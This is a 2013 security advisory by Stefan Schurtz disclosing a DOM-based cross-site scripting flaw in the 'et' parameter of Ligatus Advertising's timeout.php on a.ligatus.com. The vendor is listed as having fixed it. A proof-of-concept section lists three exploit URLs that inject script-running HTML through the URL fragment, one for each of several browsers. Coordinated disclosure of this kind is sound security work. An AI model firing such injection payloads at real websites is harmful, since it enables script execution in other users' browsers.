SSCHADV2013-007 - Ligatus Advertising - DOM Based Cross-site Scripting vulnerability

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Posted by Stefan Schurtz on Tuesday, May 28. 2013

Advisory:	Ligatus Advertising – DOM Based Cross-site Scripting vulnerability
Advisory ID:	SSCHADV2013-007
Author:	Stefan Schurtz
Affected Software:	Successfully tested on a.ligatus.com
Vendor URL:	http://www.ligatus.com/
Vendor Status:	fixed

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Vulnerability Description
======================

The ‘et’-Parameter in Ligatus Advertising is prone to a DOM Based XSS vulnerability.

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PoC-Exploit
======================

// Internet Explorer 10

http://a.ligatus.com/timeout.php?ids=29423&e=1#et="><body onload=alert(document.domain) />

// Aurora 8.0

http://a.ligatus.com/timeout.php?ids=29423&e=1#et="><script>alert(document.domain)</script>

// FF 20.0.1

http://a.ligatus.com/timeout.php?ids=29423&e=1#et="><body onload=alert(document.domain) />

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Disclosure Timeline
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11-May-2013 – vendor informed by email

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Credits
======================

Vulnerability found and advisory written by Stefan Schurtz.

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References
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http://www.ligatus.de/
http://www.darksecurity.de/advisories/2013/SSCHADV2013-007.txt

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